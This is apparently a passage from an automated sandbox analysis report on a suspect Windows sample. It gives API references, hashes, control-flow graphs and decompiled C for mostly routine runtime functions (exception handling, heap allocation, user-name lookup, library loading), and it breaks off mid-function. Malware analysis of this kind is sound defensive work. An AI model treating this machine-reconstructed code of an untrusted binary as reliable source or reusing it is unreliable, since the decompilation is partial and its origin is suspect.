          
          				_t1 = SetUnhandledExceptionFilter(E00401E22); // executed
          				return _t1;
          			}




          0x00401e1b
          0x00401e21

          APIs
          • SetUnhandledExceptionFilter.KERNELBASE(Function_00001E22,0040170D), ref: 00401E1B
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ExceptionFilterUnhandled
          • String ID:
          • API String ID: 3192549508-0
          • Opcode ID: 7cc42e0c232be2002621d7aac29e4c4a89884d8af04e1807cbd6d37abe40dfe2
          • Instruction ID: 1700cd800284021a96fa1165edcf07aa52b884b6f150888f85792e917e9d8571
          • Opcode Fuzzy Hash: 7cc42e0c232be2002621d7aac29e4c4a89884d8af04e1807cbd6d37abe40dfe2
          • Instruction Fuzzy Hash:
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          APIs
          • GetCurrentProcess.KERNEL32 ref: 056D3C58
          • GetCurrentThread.KERNEL32 ref: 056D3C95
          • GetCurrentProcess.KERNEL32 ref: 056D3CD2
          • GetCurrentThreadId.KERNEL32 ref: 056D3D2B
          Memory Dump Source
          • Source File: 00000003.00000002.508357662.00000000056D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056D0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_56d0000_rtvzitvzef.jbxd
          Similarity
          • API ID: Current$ProcessThread
          • String ID:
          • API String ID: 2063062207-0
          • Opcode ID: ea3c21e5ac2574f7abd049bc4f9a089f3a650b62883b5055158a4f987e6ad4a5
          • Instruction ID: bffb02c3e78e3a95011e21bd8a65e28b80ea0b8dc12958a0217723ba54b863c8
          • Opcode Fuzzy Hash: ea3c21e5ac2574f7abd049bc4f9a089f3a650b62883b5055158a4f987e6ad4a5
          • Instruction Fuzzy Hash: E85162B1E002498FDB10CFAAD948B9EBBF4AF58304F248959E419B7361D7356884CF66
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          APIs
          • GetCurrentProcess.KERNEL32 ref: 056D3C58
          • GetCurrentThread.KERNEL32 ref: 056D3C95
          • GetCurrentProcess.KERNEL32 ref: 056D3CD2
          • GetCurrentThreadId.KERNEL32 ref: 056D3D2B
          Memory Dump Source
          • Source File: 00000003.00000002.508357662.00000000056D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056D0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_56d0000_rtvzitvzef.jbxd
          Similarity
          • API ID: Current$ProcessThread
          • String ID:
          • API String ID: 2063062207-0
          • Opcode ID: c2690fcae43d292609e6d22a683095fd2d67b6ae5f84396166aca9381adda2ca
          • Instruction ID: e6cf5209d290413c6d7f3c99f45916649d6a192dd77ebb88db9d2c7b85d06b45
          • Opcode Fuzzy Hash: c2690fcae43d292609e6d22a683095fd2d67b6ae5f84396166aca9381adda2ca
          • Instruction Fuzzy Hash: 605143B0E002498FEB10CFAAD588BDEBFF4AB88314F248959E419A7354D7746884CF65
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          APIs
          • GetCurrentProcess.KERNEL32 ref: 056D3C58
          • GetCurrentThread.KERNEL32 ref: 056D3C95
          • GetCurrentProcess.KERNEL32 ref: 056D3CD2
          • GetCurrentThreadId.KERNEL32 ref: 056D3D2B
          Memory Dump Source
          • Source File: 00000003.00000002.508357662.00000000056D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056D0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_56d0000_rtvzitvzef.jbxd
          Similarity
          • API ID: Current$ProcessThread
          • String ID:
          • API String ID: 2063062207-0
          • Opcode ID: 523ec40dcbedb90c14eb6f08cc65d39fa88ff2cf12546f5070441e8a184ec115
          • Instruction ID: 6298b20342518202920e74af463b31db437ec3146345dd60a99c4ae5f2304026
          • Opcode Fuzzy Hash: 523ec40dcbedb90c14eb6f08cc65d39fa88ff2cf12546f5070441e8a184ec115
          • Instruction Fuzzy Hash: DB5154B0E002098FDB10CFAAD548BDEBFF4BB88314F248959E419A7354D7746884CF65
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          C-Code - Quality: 100%
          			E00407507() {
          				WCHAR* _t1;
          				void* _t3;
          				void* _t17;
          				WCHAR* _t19;
          
          				_t1 = GetEnvironmentStringsW();
          				_t19 = _t1;
          				if(_t19 != 0) {
          					_t11 = E004074D0(_t19) - _t19 & 0xfffffffe;
          					_t3 = E00407D48(E004074D0(_t19) - _t19 & 0xfffffffe); // executed
          					_t17 = _t3;
          					if(_t17 != 0) {
          						E00403120(_t17, _t19, _t11);
          					}
          					E0040650B(0);
          					FreeEnvironmentStringsW(_t19);
          					return _t17;
          				} else {
          					return _t1;
          				}
          			}







          0x0040750a
          0x00407510
          0x00407514
          0x00407524
          0x00407528
          0x0040752d
          0x00407533
          0x00407538
          0x0040753d
          0x00407542
          0x00407549
          0x00407554
          0x00407517
          0x00407517
          0x00407517

          APIs
          • GetEnvironmentStringsW.KERNEL32(?,00404A94), ref: 0040750A
          • FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,00404A94), ref: 00407549
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: EnvironmentStrings$Free
          • String ID:
          • API String ID: 3328510275-0
          • Opcode ID: 687c54f429ede6c9a3700f1b62dc63b57466bf3dfbcabf1351402392e6b5ef8b
          • Instruction ID: b1f7f09f612f60460f80359e47cfd29f29434f3d7477643bc4f3bdfe63dfc6bb
          • Opcode Fuzzy Hash: 687c54f429ede6c9a3700f1b62dc63b57466bf3dfbcabf1351402392e6b5ef8b
          • Instruction Fuzzy Hash: 44E09B3754D63136D112323A7C4999F1A0DCFC6679715023BF4147A2C5EE789D0200EE
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 609 23cf42c-23cf434 610 23cf4aa-23cf4c4 609->610 611 23cf436-23cf497 609->611 618 23cf4f4 610->618 619 23cf4c6-23cf4c8 610->619 613 23cf499-23cf4a8 611->613 614 23cf502-23cf506 611->614 613->610 616 23cf508-23cf52b 614->616 617 23cf531-23cf53c 614->617 616->617 620 23cf53e-23cf546 617->620 621 23cf548-23cf583 GetUserNameW 617->621 624 23cf4f9-23cf4fc 618->624 622 23cf4ea-23cf4f2 619->622 623 23cf4ca-23cf4d4 619->623 620->621 626 23cf58c-23cf5a2 621->626 627 23cf585-23cf58b 621->627 622->624 628 23cf4d8-23cf4e6 623->628 629 23cf4d6 623->629 624->614 631 23cf5b8-23cf5df 626->631 632 23cf5a4-23cf5b0 626->632 627->626 628->628 630 23cf4e8 628->630 629->628 630->622 637 23cf5ef 631->637 638 23cf5e1-23cf5e5 631->638 632->631 640 23cf5f0 637->640 638->637 639 23cf5e7 638->639 639->637 640->640
          APIs
          • GetUserNameW.ADVAPI32(00000000,00000000), ref: 023CF573
          Memory Dump Source
          • Source File: 00000003.00000002.507780670.00000000023C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023C0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_23c0000_rtvzitvzef.jbxd
          Similarity
          • API ID: NameUser
          • String ID:
          • API String ID: 2645101109-0
          • Opcode ID: cac76a701cc892dad61ab28e65ac530326bc717502dcfa80d56217937318d704
          • Instruction ID: 82d1bc8ea84fe8fed15f92e3bdbd9faa2f988a432cfa109e00cfc780209c891d
          • Opcode Fuzzy Hash: cac76a701cc892dad61ab28e65ac530326bc717502dcfa80d56217937318d704
          • Instruction Fuzzy Hash: BE5115B1E002188FDB18CFA9C885BADBBB6BF48314F25811EE819BB751D7749844CF95
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 671 23c4564-23c45c7 672 23c45c9-23c45ee 671->672 673 23c461b-23c4667 LoadLibraryA 671->673 672->673 676 23c45f0-23c45f2 672->676 677 23c4669-23c466f 673->677 678 23c4670-23c46a1 673->678 680 23c45f4-23c45fe 676->680 681 23c4615-23c4618 676->681 677->678 682 23c46b1 678->682 683 23c46a3-23c46a7 678->683 684 23c4600 680->684 685 23c4602-23c4611 680->685 681->673 689 23c46b2 682->689 683->682 687 23c46a9 683->687 684->685 685->685 688 23c4613 685->688 687->682 688->681 689->689
          APIs
          • LoadLibraryA.KERNELBASE(?), ref: 023C4657
          Memory Dump Source
          • Source File: 00000003.00000002.507780670.00000000023C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023C0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_23c0000_rtvzitvzef.jbxd
          Similarity
          • API ID: LibraryLoad
          • String ID:
          • API String ID: 1029625771-0
          • Opcode ID: cd11e208d5553ec44eb77543c63d3fc88cd4d1676324233ea73f475ab213f544
          • Instruction ID: dc40bd1f94953b2fd1e2c4813f898995c5268ce39bec754cc45072a6f3fb5e7c
          • Opcode Fuzzy Hash: cd11e208d5553ec44eb77543c63d3fc88cd4d1676324233ea73f475ab213f544
          • Instruction Fuzzy Hash: 9F414AB1E002188FDB10DFA9C8957DDBBF1EB48304F208129D819E7354D7749845CF81
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 690 23c2244-23c45c7 692 23c45c9-23c45ee 690->692 693 23c461b-23c4667 LoadLibraryA 690->693 692->693 696 23c45f0-23c45f2 692->696 697 23c4669-23c466f 693->697 698 23c4670-23c46a1 693->698 700 23c45f4-23c45fe 696->700 701 23c4615-23c4618 696->701 697->698 702 23c46b1 698->702 703 23c46a3-23c46a7 698->703 704 23c4600 700->704 705 23c4602-23c4611 700->705 701->693 709 23c46b2 702->709 703->702 707 23c46a9 703->707 704->705 705->705 708 23c4613 705->708 707->702 708->701 709->709
          APIs
          • LoadLibraryA.KERNELBASE(?), ref: 023C4657
          Memory Dump Source
          • Source File: 00000003.00000002.507780670.00000000023C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023C0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_23c0000_rtvzitvzef.jbxd
          Similarity
          • API ID: LibraryLoad
          • String ID:
          • API String ID: 1029625771-0
          • Opcode ID: 2db409aabc008b4296e3511ad94ba72bc3c3a0cf748b4f53f177dad91b071d7a
          • Instruction ID: 5ae77bfbcecc3e967010331104e77b59361c6453c31e22e9005424c01f0a6840
          • Opcode Fuzzy Hash: 2db409aabc008b4296e3511ad94ba72bc3c3a0cf748b4f53f177dad91b071d7a
          • Instruction Fuzzy Hash: 7D4157B0E002189FDB10DFA9C99579EBBF1EB48304F20812DE919AB354D7B49885CF91
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1331 56d4d70-56d4d72 1332 56d4d78-56d4e0c DuplicateHandle 1331->1332 1333 56d4e0e-56d4e14 1332->1333 1334 56d4e15-56d4e32 1332->1334 1333->1334
          APIs
          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 056D4DFF
          Memory Dump Source
          • Source File: 00000003.00000002.508357662.00000000056D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056D0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_56d0000_rtvzitvzef.jbxd
          Similarity
          • API ID: DuplicateHandle
          • String ID:
          • API String ID: 3793708945-0
          • Opcode ID: f5cf377e2762d6e9792161da6e0f0c9e8d6bda7893791af08ac0bde586b2f80f
          • Instruction ID: 3d6e04057a18a3e3033d6bceffaf225e720de623486586161c79ccf19f8b7711
          • Opcode Fuzzy Hash: f5cf377e2762d6e9792161da6e0f0c9e8d6bda7893791af08ac0bde586b2f80f
          • Instruction Fuzzy Hash: B021D6B5D002089FDB10CFAAD484ADEFFF8EB58314F14841AE918A3310D374A944CFA1
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1337 56d4d78-56d4e0c DuplicateHandle 1338 56d4e0e-56d4e14 1337->1338 1339 56d4e15-56d4e32 1337->1339 1338->1339
          APIs
          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 056D4DFF
          Memory Dump Source
          • Source File: 00000003.00000002.508357662.00000000056D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056D0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_56d0000_rtvzitvzef.jbxd
          Similarity
          • API ID: DuplicateHandle
          • String ID:
          • API String ID: 3793708945-0
          • Opcode ID: c60ef88ee70dfb3de55347ae7dd491166ec49c04bd6ba1f19103f5d8349d2849
          • Instruction ID: ceb6c5e4e7ef161ac3983b9bcbe8d554409631f999c1715b37e90ca7c8a77a2d
          • Opcode Fuzzy Hash: c60ef88ee70dfb3de55347ae7dd491166ec49c04bd6ba1f19103f5d8349d2849
          • Instruction Fuzzy Hash: 2521E6B5D002089FDB10CF9AD484ADEFBF8FB48314F14841AE918A3310D378A944CFA1
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1342 56d9ba8-56d9c04 1344 56d9c06-56d9c2e KiUserCallbackDispatcher 1342->1344 1345 56d9c52-56d9c6b 1342->1345 1346 56d9c37-56d9c4b 1344->1346 1347 56d9c30-56d9c36 1344->1347 1346->1345 1347->1346
          APIs
          • KiUserCallbackDispatcher.NTDLL(0000004B), ref: 056D9C1D
          Memory Dump Source
          • Source File: 00000003.00000002.508357662.00000000056D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056D0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_56d0000_rtvzitvzef.jbxd
          Similarity
          • API ID: CallbackDispatcherUser
          • String ID:
          • API String ID: 2492992576-0
          • Opcode ID: e15669d6d14d941e62faf8f634e3a8cddd3c22f76e155c300322c276b91caab5
          • Instruction ID: 766ad3ce656de06b4e903a45f9d8873fd866368081762f8b38464eaf279b37a6
          • Opcode Fuzzy Hash: e15669d6d14d941e62faf8f634e3a8cddd3c22f76e155c300322c276b91caab5
          • Instruction Fuzzy Hash: 8A11DC758043988FDB11CF5AD4047EABFF4EB15314F1084AED495B7282C77CAA05CBA1
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1349 407d48-407d54 1350 407d86-407d91 call 40649b 1349->1350 1351 407d56-407d58 1349->1351 1359 407d93-407d95 1350->1359 1352 407d71-407d82 RtlAllocateHeap 1351->1352 1353 407d5a-407d5b 1351->1353 1355 407d84 1352->1355 1356 407d5d-407d64 call 4051c4 1352->1356 1353->1352 1355->1359 1356->1350 1361 407d66-407d6f call 4087b5 1356->1361 1361->1350 1361->1352
          C-Code - Quality: 100%
          			E00407D48(long _a4) {
          				void* _t4;
          				void* _t6;
          				long _t8;
          
          				_t8 = _a4;
          				if(_t8 > 0xffffffe0) {
          					L7:
          					 *((intOrPtr*)(E0040649B())) = 0xc;
          					__eflags = 0;
          					return 0;
          				}
          				if(_t8 == 0) {
          					_t8 = _t8 + 1;
          				}
          				while(1) {
          					_t4 = RtlAllocateHeap( *0x4163ec, 0, _t8); // executed
          					if(_t4 != 0) {
          						break;
          					}
          					__eflags = E004051C4();
          					if(__eflags == 0) {
          						goto L7;
          					}
          					_t6 = E004087B5(__eflags, _t8);
          					__eflags = _t6;
          					if(_t6 == 0) {
          						goto L7;
          					}
          				}
          				return _t4;
          			}






          0x00407d4e
          0x00407d54
          0x00407d86
          0x00407d8b
          0x00407d91
          0x00000000
          0x00407d91
          0x00407d58
          0x00407d5a
          0x00407d5a
          0x00407d71
          0x00407d7a
          0x00407d82
          0x00000000
          0x00000000
          0x00407d62
          0x00407d64
          0x00000000
          0x00000000
          0x00407d67
          0x00407d6d
          0x00407d6f
          0x00000000
          0x00000000
          0x00407d6f
          0x00000000

          APIs
          • RtlAllocateHeap.NTDLL(00000000,00406E77,?,?,00406E77,00000220,?,00000000,?), ref: 00407D7A
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: AllocateHeap
          • String ID:
          • API String ID: 1279760036-0
          • Opcode ID: 8f5a00a2164cb918ef53a9def0475eb471bdd7ac5a97f66a80c2262a2e0ab220
          • Instruction ID: 65cd16bcdc1b8bd721fcda30d9bca64849d6530a3f0c9080c4415b1d98ca3938
          • Opcode Fuzzy Hash: 8f5a00a2164cb918ef53a9def0475eb471bdd7ac5a97f66a80c2262a2e0ab220
          • Instruction Fuzzy Hash: 9FE0A931A0862456EA202B269C00F6B3A498F823B0B154233EC05B62D2DA7DE80182AF
          Uniqueness

          Uniqueness Score: -1.00%

          Memory Dump Source
          • Source File: 00000003.00000002.508337074.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_5540000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 8e26cd91421ab0fff67deb4c332e10633f46d4a3a9ccbe399e7ebc29636cc615
          • Instruction ID: fdcb65a32527d858f0fe752f001d9b93e80a6d4559f65324099ff29f9ab498b5
          • Opcode Fuzzy Hash: 8e26cd91421ab0fff67deb4c332e10633f46d4a3a9ccbe399e7ebc29636cc615
          • Instruction Fuzzy Hash: 2B0175757002100BDB6896B9949572E77E7FB85715F204879E64ECB391ED24EC014FC5
          Uniqueness

          Uniqueness Score: -1.00%

          Memory Dump Source
          • Source File: 00000003.00000002.508337074.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_5540000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 5b3f5bb8a2630a9193205fe48b0aad0a90025893c3b7eb49026f931c3fc760cd
          • Instruction ID: 82a445c373727c6108dab3949c557fd7b12a3c1d47804708f9a6de1c0986a4bc
          • Opcode Fuzzy Hash: 5b3f5bb8a2630a9193205fe48b0aad0a90025893c3b7eb49026f931c3fc760cd
          • Instruction Fuzzy Hash: 6E014F347002204BDB68A6B99499A3E66E7FB85614F208829E64FCB3A0ED24EC014BC5
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 85%
          			E00401C83(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
          				char _v0;
          				struct _EXCEPTION_POINTERS _v12;
          				intOrPtr _v80;
          				intOrPtr _v88;
          				char _v92;
          				intOrPtr _v608;
          				intOrPtr _v612;
          				void* _v616;
          				intOrPtr _v620;
          				char _v624;
          				intOrPtr _v628;
          				intOrPtr _v632;
          				intOrPtr _v636;
          				intOrPtr _v640;
          				intOrPtr _v644;
          				intOrPtr _v648;
          				intOrPtr _v652;
          				intOrPtr _v656;
          				intOrPtr _v660;
          				intOrPtr _v664;
          				intOrPtr _v668;
          				char _v808;
          				char* _t39;
          				long _t49;
          				intOrPtr _t51;
          				void* _t54;
          				intOrPtr _t55;
          				intOrPtr _t57;
          				intOrPtr _t58;
          				intOrPtr _t59;
          				intOrPtr* _t60;
          
          				_t59 = __esi;
          				_t58 = __edi;
          				_t57 = __edx;
          				if(IsProcessorFeaturePresent(0x17) != 0) {
          					_t55 = _a4;
          					asm("int 0x29");
          				}
          				E00401E78(_t34);
          				 *_t60 = 0x2cc;
          				_v632 = E00402470(_t58,  &_v808, 0, 3);
          				_v636 = _t55;
          				_v640 = _t57;
          				_v644 = _t51;
          				_v648 = _t59;
          				_v652 = _t58;
          				_v608 = ss;
          				_v620 = cs;
          				_v656 = ds;
          				_v660 = es;
          				_v664 = fs;
          				_v668 = gs;
          				asm("pushfd");
          				_pop( *_t15);
          				_v624 = _v0;
          				_t39 =  &_v0;
          				_v612 = _t39;
          				_v808 = 0x10001;
          				_v628 =  *((intOrPtr*)(_t39 - 4));
          				E00402470(_t58,  &_v92, 0, 0x50);
          				_v92 = 0x40000015;
          				_v88 = 1;
          				_v80 = _v0;
          				_t28 = IsDebuggerPresent() - 1; // -1
          				_v12.ExceptionRecord =  &_v92;
          				asm("sbb bl, bl");
          				_v12.ContextRecord =  &_v808;
          				_t54 =  ~_t28 + 1;
          				SetUnhandledExceptionFilter(0);
          				_t49 = UnhandledExceptionFilter( &_v12);
          				if(_t49 == 0 && _t54 == 0) {
          					_push(3);
          					return E00401E78(_t49);
          				}
          				return _t49;
          			}


































          0x00401c83
          0x00401c83
          0x00401c83
          0x00401c97
          0x00401c99
          0x00401c9c
          0x00401c9c
          0x00401ca0
          0x00401ca5
          0x00401cbd
          0x00401cc3
          0x00401cc9
          0x00401ccf
          0x00401cd5
          0x00401cdb
          0x00401ce1
          0x00401ce8
          0x00401cef
          0x00401cf6
          0x00401cfd
          0x00401d04
          0x00401d0b
          0x00401d0c
          0x00401d15
          0x00401d1b
          0x00401d1e
          0x00401d24
          0x00401d33
          0x00401d3f
          0x00401d4a
          0x00401d51
          0x00401d58
          0x00401d63
          0x00401d6b
          0x00401d74
          0x00401d76
          0x00401d79
          0x00401d7b
          0x00401d85
          0x00401d8d
          0x00401d93
          0x00000000
          0x00401d9a
          0x00401d9d

          APIs
          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00401C8F
          • IsDebuggerPresent.KERNEL32 ref: 00401D5B
          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00401D7B
          • UnhandledExceptionFilter.KERNEL32(?), ref: 00401D85
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
          • String ID:
          • API String ID: 254469556-0
          • Opcode ID: 0b03b5c64497572952368c5c8e79ee91cfa7b3dc5a2986fe4eff801d6595a585
          • Instruction ID: 03da4fdce737ae66b50b035683398d13283d912606226935be00c523356d6f7c
          • Opcode Fuzzy Hash: 0b03b5c64497572952368c5c8e79ee91cfa7b3dc5a2986fe4eff801d6595a585
          • Instruction Fuzzy Hash: F4314C75D0131C9BDB10DF61D949BCDBBB8BF08304F1041AAE44CAB290EB745A848F48
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 71%
          			E004038EB(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
          				signed char* _v0;
          				signed int _v8;
          				signed int _v12;
          				signed int _v16;
          				signed int _v20;
          				intOrPtr _v24;
          				char _v28;
          				signed int _v32;
          				signed int _v36;
          				signed int _v40;
          				signed int _v44;
          				intOrPtr _v48;
          				signed int _v52;
          				intOrPtr _v56;
          				intOrPtr _v60;
          				void _v64;
          				signed int _v68;
          				char _v84;
          				intOrPtr _v88;
          				signed int _v92;
          				intOrPtr _v100;
          				void _v104;
          				intOrPtr* _v112;
          				signed char* _v184;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				void* __ebp;
          				void* _t201;
          				signed int _t202;
          				char _t203;
          				signed int _t205;
          				signed int _t207;
          				signed char* _t208;
          				signed int _t209;
          				signed int _t210;
          				signed int _t214;
          				void* _t217;
          				signed char* _t220;
          				void* _t222;
          				void* _t224;
          				signed char _t228;
          				signed int _t229;
          				void* _t231;
          				void* _t234;
          				void* _t237;
          				signed int _t247;
          				void* _t250;
          				intOrPtr* _t251;
          				signed int _t252;
          				intOrPtr _t253;
          				signed int _t254;
          				void* _t259;
          				void* _t264;
          				void* _t265;
          				signed int _t269;
          				signed char* _t270;
          				intOrPtr* _t271;
          				signed char _t272;
          				signed int _t273;
          				signed int _t274;
          				intOrPtr* _t276;
          				signed int _t277;
          				signed int _t278;
          				signed int _t283;
          				signed int _t290;
          				signed int _t291;
          				signed int _t294;
          				signed int _t296;
          				signed char* _t297;
          				signed int _t298;
          				signed char _t299;
          				signed int* _t301;
          				signed char* _t304;
          				signed int _t314;
          				signed int _t315;
          				signed int _t317;
          				signed int _t327;
          				void* _t329;
          				void* _t331;
          				void* _t332;
          				void* _t333;
          				void* _t334;
          
          				_t296 = __edx;
          				_push(_t315);
          				_t301 = _a20;
          				_v20 = 0;
          				_v28 = 0;
          				_t275 = E004044A9(_a8, _a16, _t301);
          				_t332 = _t331 + 0xc;
          				_v12 = _t275;
          				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
          					L67:
          					_t201 = E0040579A(_t270, _t275, _t296, _t315);
          					asm("int3");
          					_t329 = _t332;
          					_t333 = _t332 - 0x38;
          					_push(_t270);
          					_t271 = _v112;
          					__eflags =  *_t271 - 0x80000003;
          					if( *_t271 == 0x80000003) {
          						return _t201;
          					} else {
          						_push(_t315);
          						_push(_t301);
          						_t202 = E004029B3(_t271, _t275, _t296, _t315);
          						__eflags =  *(_t202 + 8);
          						if( *(_t202 + 8) != 0) {
          							__imp__EncodePointer(0);
          							_t315 = _t202;
          							_t222 = E004029B3(_t271, _t275, _t296, _t315);
          							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
          							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
          								__eflags =  *_t271 - 0xe0434f4d;
          								if( *_t271 != 0xe0434f4d) {
          									__eflags =  *_t271 - 0xe0434352;
          									if( *_t271 != 0xe0434352) {
          										_t214 = E00402E31(_t296, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
          										_t333 = _t333 + 0x1c;
          										__eflags = _t214;
          										if(_t214 != 0) {
          											L84:
          											return _t214;
          										}
          									}
          								}
          							}
          						}
          						_t203 = _a16;
          						_v28 = _t203;
          						_v24 = 0;
          						__eflags =  *(_t203 + 0xc);
          						if( *(_t203 + 0xc) > 0) {
          							_push(_a24);
          							E00402D64(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
          							_t298 = _v40;
          							_t334 = _t333 + 0x18;
          							_t214 = _v44;
          							_v20 = _t214;
          							_v12 = _t298;
          							__eflags = _t298 - _v32;
          							if(_t298 >= _v32) {
          								goto L84;
          							}
          							_t277 = _t298 * 0x14;
          							__eflags = _t277;
          							_v16 = _t277;
          							do {
          								_t278 = 5;
          								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
          								_t334 = _t334 + 0xc;
          								__eflags = _v64 - _t217;
          								if(_v64 > _t217) {
          									goto L83;
          								}
          								__eflags = _t217 - _v60;
          								if(_t217 > _v60) {
          									goto L83;
          								}
          								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
          								_t283 = _t220[4];
          								__eflags = _t283;
          								if(_t283 == 0) {
          									L81:
          									__eflags =  *_t220 & 0x00000040;
          									if(( *_t220 & 0x00000040) == 0) {
          										_push(0);
          										_push(1);
          										E0040386B(_t298, _t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
          										_t298 = _v12;
          										_t334 = _t334 + 0x30;
          									}
          									goto L83;
          								}
          								__eflags =  *((char*)(_t283 + 8));
          								if( *((char*)(_t283 + 8)) != 0) {
          									goto L83;
          								}
          								goto L81;
          								L83:
          								_t298 = _t298 + 1;
          								_t214 = _v20;
          								_t277 = _v16 + 0x14;
          								_v12 = _t298;
          								_v16 = _t277;
          								__eflags = _t298 - _v32;
          							} while (_t298 < _v32);
          							goto L84;
          						}
          						E0040579A(_t271, _t275, _t296, _t315);
          						asm("int3");
          						_push(_t329);
          						_t297 = _v184;
          						_push(_t271);
          						_push(_t315);
          						_push(0);
          						_t205 = _t297[4];
          						__eflags = _t205;
          						if(_t205 == 0) {
          							L109:
          							_t207 = 1;
          							__eflags = 1;
          						} else {
          							_t276 = _t205 + 8;
          							__eflags =  *_t276;
          							if( *_t276 == 0) {
          								goto L109;
          							} else {
          								__eflags =  *_t297 & 0x00000080;
          								_t304 = _v0;
          								if(( *_t297 & 0x00000080) == 0) {
          									L91:
          									_t272 = _t304[4];
          									_t317 = 0;
          									__eflags = _t205 - _t272;
          									if(_t205 == _t272) {
          										L101:
          										__eflags =  *_t304 & 0x00000002;
          										if(( *_t304 & 0x00000002) == 0) {
          											L103:
          											_t208 = _a4;
          											__eflags =  *_t208 & 0x00000001;
          											if(( *_t208 & 0x00000001) == 0) {
          												L105:
          												__eflags =  *_t208 & 0x00000002;
          												if(( *_t208 & 0x00000002) == 0) {
          													L107:
          													_t317 = 1;
          													__eflags = 1;
          												} else {
          													__eflags =  *_t297 & 0x00000002;
          													if(( *_t297 & 0x00000002) != 0) {
          														goto L107;
          													}
          												}
          											} else {
          												__eflags =  *_t297 & 0x00000001;
          												if(( *_t297 & 0x00000001) != 0) {
          													goto L105;
          												}
          											}
          										} else {
          											__eflags =  *_t297 & 0x00000008;
          											if(( *_t297 & 0x00000008) != 0) {
          												goto L103;
          											}
          										}
          										_t207 = _t317;
          									} else {
          										_t184 = _t272 + 8; // 0x6e
          										_t209 = _t184;
          										while(1) {
          											_t273 =  *_t276;
          											__eflags = _t273 -  *_t209;
          											if(_t273 !=  *_t209) {
